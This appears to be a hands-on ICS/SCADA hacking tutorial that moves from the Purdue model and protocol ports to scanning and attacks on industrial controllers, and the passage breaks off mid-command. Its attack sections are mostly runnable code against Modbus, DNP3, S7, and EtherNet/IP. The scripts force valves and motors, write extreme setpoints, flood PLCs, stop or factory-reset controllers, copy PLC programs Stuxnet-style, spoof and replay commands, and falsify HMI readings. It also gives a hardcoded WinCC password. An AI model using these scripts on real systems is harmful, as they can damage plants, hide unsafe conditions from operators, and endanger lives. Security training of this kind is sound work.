ICS / OT Core Concepts
Understand the architecture before you hack it
🧠 Why ICS/OT is different from IT pentesting
In IT: confidentiality > integrity > availability. In ICS/OT: AVAILABILITY IS #1. A crashed PLC doesn't just lose data — it can blow up a boiler, open a dam, or cut power. Availability of physical process is the prime directive. Approach everything with this lens.
🏗️ The Purdue Model (ISA-95) — ICS Architecture Layers
Level 0 — Physical Process
Actual sensors (temperature, pressure, flow), actuators (valves, motors). This is the "real world" being controlled. No cyber here — but this is the target impact zone.
Level 1 — Field Devices / Instruments
PLCs (Programmable Logic Controllers), RTUs (Remote Terminal Units), IEDs (Intelligent Electronic Devices). They read sensors and drive actuators based on logic programs. Most attack targets live here.
Level 2 — Control Systems
HMIs (Human Machine Interfaces), SCADA servers, DCS (Distributed Control Systems). Operators see dashboards here. Alarms live here. Attackers target HMIs to suppress alarms or fake readings.
Level 3 — Site Operations (MES)
Historian servers (store process data), Manufacturing Execution Systems. Bridge between OT and IT. Often poorly segmented — key pivot point.
Level 4/5 — Enterprise / Internet
Corporate IT network, ERP. Attacker's typical entry point. Goal: break through the DMZ down to Level 1-2.
⚙️ Key Devices Explained
| DEVICE | ABBR | ROLE |
|---|---|---|
| PLC | — | Reads sensors, runs ladder logic, drives actuators. Brain of field control. |
| RTU | — | Like a PLC but for remote/unmanned sites (pipelines, substations). Uses DNP3/IEC 101. |
| HMI | — | Operator screen. Windows PC running SCADA software (WinCC, FactoryTalk, Ignition). |
| IED | — | Smart relay in power grid. Uses IEC 61850/GOOSE. Trips circuit breakers. |
| DCS | — | Distributed Control System — like many PLCs coordinated. Used in oil/chem plants. |
| Historian | — | Time-series DB for all process data (PI Historian, Wonderware). Gold mine for recon. |
| EWS | — | Engineering Workstation — programs PLCs. If compromised, you own the PLC logic. |
🎯 Attack Objectives in ICS
Loss of ViewBlind operators — suppress or falsify HMI data/alarms so they can't see the real process state.
Loss of ControlPrevent commands from reaching PLCs — denial of control. e.g., can't open/close a valve remotely.
Manipulation of ControlSend wrong commands or inject false setpoints — most dangerous. Forces physics into unsafe state.
Ransomware / AvailabilityLock HMIs, historian, EWS — disrupt operations without touching the PLC directly.
ICS Protocols & Ports
Know what to scan for and what each port means
📋 Protocol Quick Reference
| PROTOCOL | PORT | USED IN | KEY WEAKNESS |
|---|---|---|---|
| Modbus TCP | 502/TCP | PLCs, RTUs, sensors. Most common ICS protocol. | Zero auth. No encryption. Anyone on network can read/write coils/registers. |
| DNP3 | 20000/TCP+UDP | SCADA, substations, water/oil RTUs | No auth by default. DNP3 SA (secure auth) rarely deployed. Spoofable. |
| S7comm | 102/TCP | Siemens S7 PLCs (S7-300/400/1200/1500) | S7comm-plus (1200/1500) has crypto but is breakable. Stuxnet used this. |
| EtherNet/IP | 44818/TCP, 2222/UDP | Allen-Bradley (Rockwell), AB PLCs | CIP protocol on top. Read/write tags directly. No auth in most configs. |
| OPC-DA/UA | 135, 4840/TCP | SCADA ↔ HMI data exchange middleware | OPC-DA uses DCOM (135) — many vulns. OPC-UA has auth but often misconfigured. |
| IEC 61850 / GOOSE | 102/TCP, multicast | Power grid IEDs, substations | GOOSE is unauthenticated multicast — inject frames to trip breakers. |
| BACnet | 47808/UDP | Building Automation (HVAC, lifts) | No auth. COV (change of value) subscribe → read all sensor data. |
| EtherCAT | Layer 2 | High-speed motion control (robotics) | No crypto at all — Ethernet frame level. Physical access needed. |
| PROFINET | 34964/UDP | Siemens field bus (conveyor, manufacturing) | DCP (discovery) unauthenticated. Can rename/reset devices. |
| IEC 104 | 2404/TCP | SCADA over IP (power/water utilities) | No encryption. Command injection possible. |
| Historian / OSIsoft PI | 5450/TCP | Process data historian | Unauthenticated access in legacy. Read all plant sensor history. |
| SRTP (GE) | 18245/TCP | GE PLCs (Series 90, PAC8000) | Protocol reversing enables arbitrary read/write. |
Lab Setup for Beginners
Build your ICS hacking lab — safely
⚠️ NEVER practice on real production systems. Ever.
ICS systems control physical processes. A wrong write to a PLC in a real plant can destroy equipment, cause injury, or kill people. Always use simulators, VMs, or dedicated lab hardware.
🛠️ Recommended Lab Platforms
GNS3 + ScadaBR + OpenPLCOpenPLC is a free software PLC runtime. ScadaBR is a free SCADA. Run both as VMs. Connect them over GNS3 virtual network. Supports Modbus, DNP3.
SoftPLC / OpenPLC RuntimeInstall on Linux. Simulates real PLC. Runs ladder logic. Exposes Modbus TCP on port 502. Perfect first target.
Mininet-based ICS simulationsICSim (SCADAPACK/gas pipeline sim). Grfp (power grid sim). Both run on Ubuntu. Git repos available.
Real hardware (budget)Siemens LOGO! (~$80), Click PLCs (~$100), or eBay S7-200. Cheap, real protocol behavior. Best for hands-on.
📦 Tool Installation (Kali / Parrot)
install core ICS tools
sudo apt install nmap python3-pip git -y
# Metasploit (has ICS modules)
sudo apt install metasploit-framework -y
# Install Python ICS libraries
pip3 install pymodbus scapy
pip3 install pysnmp python-snap7
# Clone specialized tools
git clone https://github.com/sourceperl/mbtget
git clone https://github.com/atimorin/scada-tools
git clone https://github.com/drainware/plcscan
These form your baseline ICS recon toolkit. pymodbus = talk Modbus. snap7 = talk to Siemens S7 PLCs. scapy = raw packet crafting for any protocol.
🔍 Key Labs to Practice On
HackTheBox — ICS / SCADA ChallengesHTB has dedicated ICS machines. Look for tags: Modbus, SCADA, Industrial. Start with easy-rated ones first.
Pentester Academy — SCADA SecurityPaid but has full ICS lab with PLC simulators. Best structured curriculum for beginners.
TryHackMe — IndustrialSome THM rooms cover basic SCADA recon. Free tier available.
CISA / ICS-CERT ResourcesFree training at ics-cert.us-cert.gov — includes virtual lab environments for public utilities sector.
Network Discovery & ICS Host Detection
Phase 1 — Find what's on the network without crashing it
⚠️ SLOW DOWN. ICS devices are fragile.
Standard nmap SYN scans can crash PLCs and RTUs. Use --max-rate 10, avoid aggressive scan options (-A, -T4, -T5). Always prefer passive recon first.
🌐 Passive Recon — No Traffic Generated
wireshark / tcpdump — listen passively
tcpdump -i eth0 -nn port 502 or port 102 \
or port 44818 or port 20000 \
or port 47808 -w ics_capture.pcap
Listen on eth0 for known ICS protocol ports. -nn = no DNS/port name resolution (faster). -w = write to file. Just watching tells you what protocols are alive on the segment. Zero risk of crashing devices.
zeek / bro — protocol-aware passive analysis
zeek -i eth0 /opt/zeek/share/zeek/policy/\
protocols/modbus/main.zeek
Zeek automatically decodes ICS protocols from a packet capture or live interface and writes structured logs. modbus.log, dnp3.log, enip.log are created automatically. Gold for reconnaissance without active probing.
🔍 Active Scanning — Careful Mode
nmap — safe ICS scan (slow, no crash)
nmap -sS -p 102,502,2222,4840,20000,44818 \
--max-rate 10 --open -T2 \
-oN ics_hosts.txt 192.168.1.0/24
-sS = SYN scan (half-open). -p = ONLY scan these ICS ports, don't waste time on 1-65535. --max-rate 10 = max 10 packets/sec — critical for ICS safety. -T2 = polite timing. --open = only show open ports.
nmap ICS NSE scripts
nmap -sV --script modbus-discover \
-p 502 192.168.1.0/24 --max-rate 5
nmap -sV --script s7-info \
-p 102 192.168.1.0/24 --max-rate 5
nmap -sV --script enip-info \
-p 44818 192.168.1.0/24 --max-rate 5
nmap has built-in ICS scripts. modbus-discover = reads device ID from Modbus (function code 43). s7-info = grabs PLC name, serial, firmware version from Siemens S7. enip-info = reads Allen-Bradley device identity. Great for asset inventory recon.
🔎 Shodan — Internet-facing ICS
shodan CLI queries for exposed ICS
# Install
pip3 install shodan
shodan init YOUR_API_KEY
# Search exposed Modbus systems
shodan search "port:502 Modbus"
# Exposed Siemens S7 PLCs
shodan search "port:102 S7"
# Exposed Allen-Bradley
shodan search "port:44818 CIP"
# Filter by country
shodan search "port:502 country:IN"
# Download results
shodan download --limit 100 modbus.json \
"port:502 Modbus"
Shodan indexes internet-facing ICS devices. Shocking how many real PLCs are exposed. Use for CTF/research recon — never attack real systems you don't own. Filter by country:IN, org:, before:, after: to narrow results. Port 502 = Modbus, 102 = S7, 44818 = EtherNet/IP.
🔬 Redpoint / PLCScan
plcscan — dedicated PLC scanner
python3 plcscan.py -t 192.168.1.0/24
PLCScan uses multiple ICS protocols (Modbus, S7, EtherNet/IP) to identify PLCs. Lightweight and purpose-built — better signal-to-noise than nmap for ICS assets. Written in Python.
redpoint NSE scripts (nmap)
git clone https://github.com/digitalbond/Redpoint
cp Redpoint/*.nse /usr/share/nmap/scripts/
nmap --script-updatedb
# Scan with Redpoint
nmap -sV --script bacnet-info \
-p 47808 -sU 192.168.1.0/24
Digital Bond's Redpoint adds BACnet, HART, DNP3, and more to nmap's ICS arsenal. Essential additions. bacnet-info reads device name, vendor, model from BACnet building automation systems without any auth.
Protocol-Level Scanning & Enumeration
Deep-dive per protocol — what can you read before exploiting
Modbus Enumeration
mbtget — read Modbus registers
# Read 10 holding registers from address 0
mbtget -r 1 -n 10 192.168.1.10
# Read coils (binary outputs: valve open/closed)
mbtget -r 0 -a 0 -n 100 192.168.1.10
# Read input registers (sensor values)
mbtget -r 3 -a 0 -n 20 192.168.1.10
# Read device ID (function code 43)
mbtget -i 192.168.1.10
Modbus has 4 data areas: Coils (r=0, binary R/W = actuators), Discrete Inputs (r=1, binary R = sensors), Input Registers (r=3, analog R = measurements), Holding Registers (r=1 with flag, analog R/W = setpoints). -n 100 = read 100 values. These are your process values — you can see if valves are open, what temperature is, etc.
python pymodbus — manual Modbus queries
python3 -c "
from pymodbus.client import ModbusTcpClient
c = ModbusTcpClient('192.168.1.10', port=502)
c.connect()
# Read holding registers 0-9
r = c.read_holding_registers(0, count=10, slave=1)
print(r.registers)
# Read coils
r2 = c.read_coils(0, count=10, slave=1)
print(r2.bits)
c.close()
"
slave=1 is the Modbus unit ID (device address 1-247). Some devices use a specific unit ID — try 1, then 0, then 255 if you get no response. r.registers = list of 16-bit integer values. Coils return boolean bits (True = ON = valve/motor running).
S7comm Enumeration
snap7 / python-snap7 — read Siemens PLC
python3 -c "
import snap7
plc = snap7.client.Client()
plc.connect('192.168.1.20', 0, 1)
# (ip, rack, slot) — try rack=0,slot=1 for most S7-300
info = plc.get_cpu_info()
print(info)
# Read data block 1, starting byte 0, 10 bytes
data = plc.db_read(1, 0, 10)
print(data)
# Read inputs (I area)
inputs = plc.read_area(snap7.types.Areas.PE, 0, 0, 1)
print(inputs)
plc.disconnect()
"
rack and slot identify the CPU module in the Siemens rack. S7-300 is usually rack=0, slot=2. S7-1200/1500 is rack=0, slot=1. db_read(db_num, start, size) = read Data Block — this is where the PLC stores process variables. Areas.PE = process inputs (physical sensors reading), Areas.PA = process outputs (what's actually being sent to actuators).
EtherNet/IP Enumeration
cpppo — CIP tag browsing
pip3 install cpppo
# List all tags on Allen-Bradley PLC
python3 -m cpppo.server.enip.list_services \
--address 192.168.1.30:44818
# Read a specific tag
python3 -m cpppo.server.enip.client \
--address 192.168.1.30 \
'Tag1' 'BOOL_Tag' 'INT_Register'
# Use EtherNet/IP scanner
python3 -m cpppo.server.enip.get_attribute \
--address 192.168.1.30 \
'@1/1/7' # Identity Object, Instance 1, Attr 7 = Product Name
EtherNet/IP uses CIP (Common Industrial Protocol) with named "tags" — no numeric address like Modbus. @1/1/7 notation = Class 1 (Identity), Instance 1, Attribute 7. The Identity Object gives you vendor, product name, serial number — perfect for fingerprinting Allen-Bradley devices without authentication.
DNP3 Enumeration
scapy — craft DNP3 probe packets
python3 -c "
from scapy.all import *
from scapy.contrib.dnp3 import *
# Send DNP3 data link frame to enumerate device
pkt = IP(dst='192.168.1.40')/TCP(dport=20000)/\
DNP3()/DNP3Transport()/DNP3ApplicationRequest()\
/DNP3RequestReadAllObjects()
resp = sr1(pkt, timeout=3)
resp.show()
"
# Or use OpenDNP3 tools
git clone https://github.com/automatak/dnp3
# Build and use dnp3demo to connect as master
DNP3 uses a master-outstation model. You act as the "master" (SCADA), they are the "outstation" (RTU). Data Link Frame has source/dest addresses (0-65534). Read All Objects = ask outstation to report all its data points — voltage, current, breaker status, etc. Completely unauthenticated by default.
Device Fingerprinting & Asset Identification
Identify vendor, model, firmware — build your target profile
🏷️ Modbus Device Identification (FC43)
modbus function code 43 — device ID
python3 -c "
from pymodbus.client import ModbusTcpClient
from pymodbus.mei_message import ReadDeviceInformationRequest
c = ModbusTcpClient('192.168.1.10')
c.connect()
req = ReadDeviceInformationRequest(0x01, slave=1)
resp = c.execute(req)
print('Vendor:', resp.information[0])
print('Product:', resp.information[1])
print('Version:', resp.information[2])
c.close()
"
Modbus Function Code 43 (0x2B) with MEI type 0x0E = "Read Device Identification." Returns VendorName, ProductCode, MajorMinorRevision. Tells you exactly what PLC/RTU model you're dealing with — then search CVEs for that specific version. This is totally unauthenticated.
🔎 Web Interface Discovery
many PLCs run embedded web servers
# Scan for web interfaces on ICS devices
nmap -sV -p 80,443,8080,8443 \
--max-rate 5 192.168.1.0/24
# Look for common ICS web interface paths
curl -s http://192.168.1.10/main.html
curl -s http://192.168.1.10/diag.htm
curl -s http://192.168.1.10/plc/
# Check for default creds (very common)
# admin:admin, admin:password,
# Administrator:(blank), user:user
Many PLCs (Schneider Modicon, WAGO, Beckhoff, Phoenix Contact) have embedded web servers for configuration. Default credentials are rampant in ICS — vendors ship with admin/admin, nobody changes them. Once in the web UI, you can upload modified PLC programs or change setpoints directly.
📊 Metasploit ICS Modules
msf — ICS auxiliary scanners
msfconsole
# List all ICS modules
search type:auxiliary ICS
search type:auxiliary SCADA
search type:auxiliary modbus
# Modbus client
use auxiliary/scanner/scada/modbus_findunitid
set RHOSTS 192.168.1.10
set RPORT 502
run
# S7 scanner
use auxiliary/scanner/scada/siemens_s7_300
set RHOSTS 192.168.1.0/24
run
# EtherNet/IP
use auxiliary/scanner/scada/profinet_simatic_disclaim
run
MSF has a dedicated set of ICS modules. modbus_findunitid brute-forces the Modbus Unit ID (1-247) since some devices don't respond on ID 1 — it tries all and reports which one answers. Essential first step before reading registers.
Modbus Protocol Attacks
The most common ICS protocol — zero auth, full read/write
Logic: Why Modbus is low-hanging fruit
Modbus was designed in 1979 for serial comms in isolated environments. Security was never a concern. When mapped to TCP/IP, it brings ZERO authentication, ZERO encryption, and ZERO authorization. Anyone who can reach port 502 can read every sensor and write every actuator output. This is why it's almost always the first protocol you exploit in lab scenarios.
📖 Reading Process Values
read ALL Modbus data areas
python3 << 'EOF'
from pymodbus.client import ModbusTcpClient
c = ModbusTcpClient('192.168.1.10', port=502)
c.connect()
# Coils (0x = digital outputs — valves, motors, relays)
coils = c.read_coils(address=0, count=100, slave=1)
print("COILS:", coils.bits[:100])
# Discrete Inputs (1x = digital inputs — switches, sensors)
di = c.read_discrete_inputs(address=0, count=100, slave=1)
print("DISC INPUTS:", di.bits[:100])
# Input Registers (3x = analog inputs — temp, pressure, flow)
ir = c.read_input_registers(address=0, count=30, slave=1)
print("INPUT REGS:", ir.registers)
# Holding Registers (4x = config setpoints, R/W)
hr = c.read_holding_registers(address=0, count=30, slave=1)
print("HOLDING REGS:", hr.registers)
c.close()
EOF
This is your complete process snapshot. Coils = what actuators are doing right now (valve: True=open, False=closed). Input registers = raw sensor readings (divide by 10 or 100 to get engineering units — varies by device). Holding registers = the dangerous ones — these are setpoints you can overwrite.
✍️ Writing / Manipulating Process
write coil — force actuator state
python3 -c "
from pymodbus.client import ModbusTcpClient
c = ModbusTcpClient('192.168.1.10')
c.connect()
# Force coil 0 to TRUE (open valve / start motor)
c.write_coil(0, True, slave=1)
# Force coil 0 to FALSE (close valve / stop motor)
c.write_coil(0, False, slave=1)
# Write multiple coils at once
c.write_coils(0, [True,False,True,True], slave=1)
c.close()
"
This directly controls physical outputs. Coil 0 might be Pump 1, Coil 1 might be Valve A, etc. In a real plant, this can cause physical damage. In labs: this is how you demonstrate impact — show that you can start/stop processes. The write takes effect immediately on the PLC output.
write register — change setpoint
python3 -c "
from pymodbus.client import ModbusTcpClient
c = ModbusTcpClient('192.168.1.10')
c.connect()
# Change holding register 0 to value 9999
# (e.g., overpressure setpoint, temp limit, speed)
c.write_register(0, 9999, slave=1)
# Write multiple registers
c.write_registers(0, [100, 200, 300], slave=1)
c.close()
"
Holding registers store process setpoints — the target temperature, max pressure alarm threshold, motor speed, flow rate target. Setting them to extreme values (9999, 0, 65535) can trigger unsafe conditions or disable safety alarms while the process continues running dangerously.
🔄 Modbus Fuzzing
msf — modbus function code fuzzer
use auxiliary/fuzzer/modbus/modbus_request
set RHOSTS 192.168.1.10
set RPORT 502
set UNIT_ID 1
set START_FC 1 # start function code
set END_FC 127 # end function code
run
Modbus defines function codes 1-127. Many PLCs implement undocumented or vendor-specific ones beyond the standard 1-6,15,16. Fuzzing all function codes can reveal hidden diagnostic modes, unlock write access to normally read-only areas, or crash the PLC (DoS). Crash risk — only in lab.
💀 Modbus DoS
flood Modbus connections (DoS)
python3 -c "
from pymodbus.client import ModbusTcpClient
import threading
def flood():
while True:
try:
c = ModbusTcpClient('192.168.1.10')
c.connect()
c.read_holding_registers(0, 125, slave=1)
c.close()
except: pass
# Many PLCs have max 8-16 concurrent TCP connections
# Flooding exhausts the connection table
threads = [threading.Thread(target=flood) for _ in range(50)]
for t in threads: t.start()
"
Many PLCs have a very small TCP connection table (8-32 connections max). Flooding with connection requests exhausts the table — legitimate SCADA can no longer connect. This is Loss of Control — operators lose the ability to remotely manage the PLC. The PLC keeps running its last program, which may or may not be safe.
DNP3 Attacks
Power grid & water utility protocol — substation exploitation
📡 DNP3 Recon & Enumeration
nmap dnp3 probe
nmap -sV --script dnp3-info \
-p 20000 192.168.1.0/24 \
--max-rate 5
DNP3 devices announce their device attributes in response to a Data Link Status request. This leaks: vendor name, product name, device serial number, firmware version, supported function codes. All without authentication.
msf — DNP3 scanner
use auxiliary/scanner/scada/dnp3_enumeration
set RHOSTS 192.168.1.40
set RPORT 20000
set MASTER_ADDRESS 3 # our source addr
set STATION_ADDRESS 1 # target RTU addr
run
DNP3 uses link-layer addresses (0-65519). MASTER_ADDRESS is "us" (pick any number not used on the network). STATION_ADDRESS is the RTU/outstation. If you don't know the station address, enumerate 1-255 systematically.
⚡ DNP3 Spoofed Command Injection
scapy — craft malicious DNP3 operate
python3 -c "
from scapy.all import *
from scapy.contrib.dnp3 import *
# Impersonate the master SCADA
# Send 'Direct Operate' to trip a breaker (CROB command)
# FC 3 = Direct Operate, Code 0x41 = Latch On
pkt = (
Ether()/IP(dst='192.168.1.40')/
TCP(dport=20000)/
DNP3(src=3, dst=1)/ # src=master, dst=RTU
DNP3Transport(fin=1, fir=1)/
DNP3ApplicationRequest(
fc=0x03, # Direct Operate
)
)
send(pkt)
"
DNP3's default mode has no authentication. An attacker on the same network segment can spoof being the SCADA master and send control commands directly to RTUs. CROB (Control Relay Output Block) = the command object for controlling digital outputs (breakers, valves). FC=0x03 = Direct Operate — no confirmation required, immediate action.
Siemens S7 / S7comm Attacks
The Stuxnet protocol — control the world's most deployed industrial PLC
🦠 Stuxnet Context
Stuxnet (2010) exploited S7comm to reprogram Siemens S7-315 PLCs controlling uranium centrifuges at Natanz, Iran. It wrote a rootkit into the PLC that reported "all normal" to the HMI while sending centrifuges to destructive speeds. This exact attack surface still exists in unpatched systems today.
🔍 S7 Enumeration
snap7 — full S7 enumeration
python3 << 'EOF'
import snap7
plc = snap7.client.Client()
plc.connect('192.168.1.20', 0, 1)
# CPU info — model, serial, OS version
info = plc.get_cpu_info()
print("Module:", info.ModuleTypeName.decode())
print("Serial:", info.SerialNumber.decode())
print("ASName:", info.ASName.decode()) # Project name!
# CPU state — RUN/STOP/ERROR
state = plc.get_cpu_state()
print("CPU State:", state)
# List data blocks
# Try DB 1 through DB 100
for db in range(1, 101):
try:
data = plc.db_read(db, 0, 4)
print(f"DB{db} exists: {data.hex()}")
except: pass
plc.disconnect()
EOF
S7's ASName is the project name programmed by the engineer — can reveal the plant name, project ID, even engineer name. CPU state: RUN = PLC is actively controlling. STOP = safe mode, program paused. If you can put the PLC in STOP mode remotely, that's an immediate Loss of Control event. Data Blocks (DB1-DB100+) contain all process variables and setpoints.
✍️ S7 Read / Write Data Blocks
read and write DB values
python3 -c "
import snap7, struct
plc = snap7.client.Client()
plc.connect('192.168.1.20', 0, 1)
# Read DB1, byte 0, 20 bytes
raw = plc.db_read(1, 0, 20)
# Interpret as REAL (float) at offset 0
temp = struct.unpack('>f', raw[0:4])[0]
print(f'Temperature: {temp:.2f}°C')
# Interpret as INT at offset 4
speed = struct.unpack('>h', raw[4:6])[0]
print(f'Motor Speed: {speed} RPM')
# WRITE — change setpoint to dangerous value
# DB1, start byte 4, data = 9000 (overrev motor)
new_val = struct.pack('>h', 9000)
plc.db_write(1, 4, new_val)
plc.disconnect()
"
S7 uses big-endian byte order for all values. Types: BOOL (1 bit), BYTE (1 byte), INT (2 bytes signed), DINT (4 bytes signed), REAL (4 bytes float). The struct.unpack format depends on what type you're reading — you need to know the DB layout (found in the PLC project, or guessed from context). db_write with an extreme value manipulates the process directly.
⏹️ CPU Stop — Loss of Control
send PLC to STOP state
python3 -c "
import snap7
plc = snap7.client.Client()
plc.connect('192.168.1.20', 0, 1)
# Put PLC in STOP mode — halts all outputs
# On real plant: all actuators go to fail-safe state
# Depending on config, valves may slam open or closed!
plc.plc_stop()
print('PLC stopped!')
# Restart PLC (cold start = clears all I/O)
plc.plc_cold_start()
plc.disconnect()
"
plc_stop() sends S7 function 0x29 "Stop PLC." The PLC halts program execution — all outputs go to their configured fail-safe state. For manufacturing, this stops production. For infrastructure, this is potentially catastrophic — depends on whether fail-safe opens or closes critical valves. Most dangerous command you can send.
💾 Upload / Download PLC Program
msf — S7 program download (Stuxnet-style)
use auxiliary/admin/scada/siemens_s7_300_400_plc
set RHOSTS 192.168.1.20
set ACTION UPLOAD # download PLC code from device
run
# Download returns the compiled PLC program
# Analyze offline, find logic, modify, re-upload
# This is the Stuxnet attack pattern:
# 1) Download legit program
# 2) Modify to add malicious logic
# 3) Upload modified program
# 4) PLC runs modified code, HMI shows old values
S7 older models (S7-300/400) allow unauthenticated program upload/download via the protocol. S7-1200/1500 added encryption but has known bypasses. This is the crown jewel attack — modify the PLC logic itself while the HMI continues showing normal readings (just like Stuxnet). On lab systems this is safe to practice.
EtherNet/IP & CIP Attacks
Allen-Bradley / Rockwell — America's most deployed PLC platform
🏷️ CIP Tag Read / Write
cpppo — read/write named PLC tags
python3 << 'EOF'
import cpppo
from cpppo.server.enip import client
# Connect to Allen-Bradley PLC
with client.connector(host='192.168.1.30') as conn:
# Read tags (must know tag names)
operations = [
{'method': 'read', 'path': [{'symbolic': 'MotorSpeed'}]},
{'method': 'read', 'path': [{'symbolic': 'Pressure_PV'}]},
{'method': 'read', 'path': [{'symbolic': 'Valve_State'}]},
]
for op, _, _, data, path, send in conn.pipeline(
operations=operations, depth=5, multiple=True, timeout=3):
print(f"{path}: {data}")
# Write a tag — change setpoint
ops_write = [
{'method': 'write',
'path': [{'symbolic': 'MaxPressure'}],
'data': [999.0], 'tag_type': 'REAL'}
]
EOF
Allen-Bradley PLCs use symbolic tags (named variables like "Valve_State") instead of numeric addresses. You need to know tag names — get them by browsing via RSLogix software, through the EDS file, or by guessing common names. Once you have tag names, you have complete read/write access with no auth required in most configurations.
💣 CIP Reset / Firmware
msf — EtherNet/IP device reset
use auxiliary/admin/scada/multi_cip_command
set RHOSTS 192.168.1.30
set RPORT 44818
set COMMAND RESET # factory reset PLC!
run
# Also try:
# COMMAND LIST_TAGS — list all tag names
# COMMAND GET_ATTR — get device attributes
# COMMAND RESET_MINOR — soft reset
# UDP broadcast discovery (port 2222)
use auxiliary/scanner/scada/enip_listservices
set RHOSTS 192.168.1.255
set RPORT 2222
run
CIP's Reset service (0x05) sends a "Reset" to the Identity Object. Some PLCs interpret this as a full factory reset — destroys the PLC program and all config. Even a soft reset (reboot) causes a brief Loss of Control. The UDP broadcast on 2222 is used for discovery — devices respond with their identity even from behind NAT on the same subnet.
OPC / WinCC / HMI Attacks
Attack the Windows layer that sits above the PLC
🪟 OPC-DA via DCOM
impacket — enumerate OPC via DCOM (port 135)
# OPC-DA runs over DCOM — classic Windows RPC
# Port 135 = DCOM endpoint mapper
# Enumerate DCOM services
python3 /opt/impacket/examples/dcomexec.py \
-object MMC20 \
DOMAIN/user:password@192.168.1.50 cmd
# Or use rpcdump to find OPC endpoints
python3 /opt/impacket/examples/rpcdump.py \
192.168.1.50 | grep -i opc
# OPC server GUIDs to look for:
# {76A6415B-CB41-11d1-8B02-00600806D9B6} = OPC DA 2.0
# {63D5F432-CFE4-11d1-B2C8-0060083BA1FB} = OPC DA 3.0
OPC-DA (Data Access) runs over Microsoft DCOM — same infrastructure as many Windows RPC exploits. Find OPC servers via the endpoint mapper on port 135. Once you identify the OPC server GUID, you can connect as an OPC client and read/write all PLC tags through the SCADA software — bypassing the PLC protocol entirely and going through the HMI's data pathway.
🔓 WinCC Default Credentials
common Siemens WinCC default creds
# WinCC MSSQL database default creds
# (WinCC stores all SCADA config in SQL Server!)
# Username: WinCCConnect
# Password: 2WSXcder (this was hardcoded!)
# Try with mssqlclient
python3 /opt/impacket/examples/mssqlclient.py \
WinCCConnect:2WSXcder@192.168.1.50
# Query the WinCC tag database
SELECT * FROM Runtime.dbo.PDE#Variables
SELECT * FROM CC_OS1..PDE#Alarms
# Also try WinCC web interface
# http://192.168.1.50/WinCCWebNavigator/
# Default: Administrator / (empty password)
Siemens WinCC SCADA ships with a hardcoded MSSQL database password (2WSXcder) — this was literally hardcoded in WinCC versions before 7.0 SP3 and was one of the Stuxnet attack vectors. The WinCC SQL database contains the complete SCADA tag list, alarm configuration, historical data, and operator accounts. Accessing it gives full view of the entire process.
📊 OPC-UA Exploitation
opcua-client / freeopcua — enumerate OPC-UA
pip3 install opcua
python3 << 'EOF'
from opcua import Client
c = Client("opc.tcp://192.168.1.60:4840/")
# Try anonymous connect first (often allowed!)
c.connect()
root = c.get_root_node()
# Browse all nodes
def browse(node, depth=0):
for child in node.get_children():
try:
print(" "*depth + str(child.get_browse_name()))
browse(child, depth+1)
except: pass
browse(root)
# Read a specific node value
node = c.get_node("ns=2;i=1003") # namespace=2, id=1003
print(node.get_value())
c.disconnect()
EOF
OPC-UA was designed with security (unlike OPC-DA) but is often deployed with anonymous access enabled — the worst of both worlds. Anonymous access = anyone can browse and read the entire tag hierarchy. ns=2;i=1003 is a NodeId — namespace 2 is usually the custom tag namespace. Browsing the tree reveals the entire plant topology.
MiTM, ARP Spoofing & Replay Attacks
Intercept SCADA-to-PLC traffic — read, manipulate, replay
🎭 ARP Spoofing — Position Between SCADA & PLC
arpspoof — intercept SCADA↔PLC traffic
# Enable IP forwarding (so traffic still flows)
echo 1 > /proc/sys/net/ipv4/ip_forward
# Spoof ARP between SCADA (192.168.1.5)
# and PLC (192.168.1.10)
# Terminal 1: tell PLC "I am the SCADA"
arpspoof -i eth0 -t 192.168.1.10 192.168.1.5
# Terminal 2: tell SCADA "I am the PLC"
arpspoof -i eth0 -t 192.168.1.5 192.168.1.10
# Now capture Modbus in real time
tcpdump -i eth0 -nn port 502 -w mitm.pcap
# Or use ettercap for combined MiTM
ettercap -T -i eth0 \
-M arp /192.168.1.5// /192.168.1.10//
ARP spoofing tricks both devices into sending traffic through our machine. IP forwarding ON = traffic still reaches the destination (covert). IP forwarding OFF = DoS (both sides lose connectivity). Since Modbus/DNP3 have no encryption, once we're in the middle we can read ALL process data in real time — like having a persistent wiretap on the control channel.
🔄 Replay Attack — Replay Old Commands
tcpreplay — replay captured Modbus writes
# 1. Capture a legitimate "open valve" command
tcpdump -i eth0 -nn port 502 -w valve_open.pcap
# 2. Inspect the capture
tcpdump -r valve_open.pcap -XX | grep -A5 "502"
# 3. Replay — resend the same command later
# (e.g., reopen a valve that operator closed)
tcpreplay -i eth0 --pps 1 valve_open.pcap
# More surgical: extract and replay with scapy
python3 -c "
from scapy.all import *
pkts = rdpcap('valve_open.pcap')
for p in pkts:
if p.haslayer('TCP') and p.dport == 502:
send(p, verbose=0)
"
Since Modbus has no sequence numbers or timestamps for authentication, replaying a captured legitimate command is indistinguishable from the real thing. If you captured a "open valve" Modbus write, you can replay it hours later to reopen a valve the operator just closed. The PLC accepts it as legitimate because there's no way to tell otherwise.
🎭 Modbus Response Spoofing (False Data)
scapy — intercept and modify Modbus responses
python3 << 'EOF'
from scapy.all import *
def modify_modbus(pkt):
# Intercept Modbus TCP responses from PLC
if pkt.haslayer('TCP') and pkt.sport == 502:
raw = bytes(pkt['Raw'])
if len(raw) > 9:
# Modbus response: bytes 9+ are register values
# Replace real values with fake "normal" values
# Byte 9-10: first register value
# 0x00 0x64 = 100 (looks normal)
fake = raw[:9] + b'\x00\x64' + raw[11:]
pkt['Raw'].load = fake
# Recalculate checksums
del pkt['IP'].chksum
del pkt['TCP'].chksum
return pkt
# Intercept and modify in transit
sniff(iface='eth0', filter='tcp port 502',
prn=modify_modbus)
EOF
This is the most insidious ICS attack: the process is in an unsafe state, but the SCADA shows everything is normal. While actually-dangerous values come from the PLC, we intercept and replace them with "normal" values before they reach the HMI. Operators see green dashboards while the plant is heading toward failure. This is what Stuxnet did to Iranian operators for over a year.
Firmware Analysis & HMI Exploitation
Extract, analyze, and backdoor embedded ICS firmware
🔬 Firmware Extraction & Analysis
binwalk — extract ICS firmware
sudo apt install binwalk -y
# Analyze firmware file (downloaded from vendor site
# or extracted via TFTP/FTP from device)
binwalk firmware.bin
# Extract all file systems
binwalk -e firmware.bin
cd _firmware.bin.extracted/
# Look for hardcoded credentials
grep -r "password\|passwd\|admin\|secret" \
--include="*.conf" --include="*.xml" \
--include="*.ini" -i .
# Find private keys
grep -r "BEGIN RSA\|BEGIN EC\|BEGIN PRIV" .
# Strings analysis for URLs, IPs
strings firmware.bin | grep -E \
"([0-9]{1,3}\.){3}[0-9]{1,3}"
# Check for known vuln libraries
strings firmware.bin | grep -E \
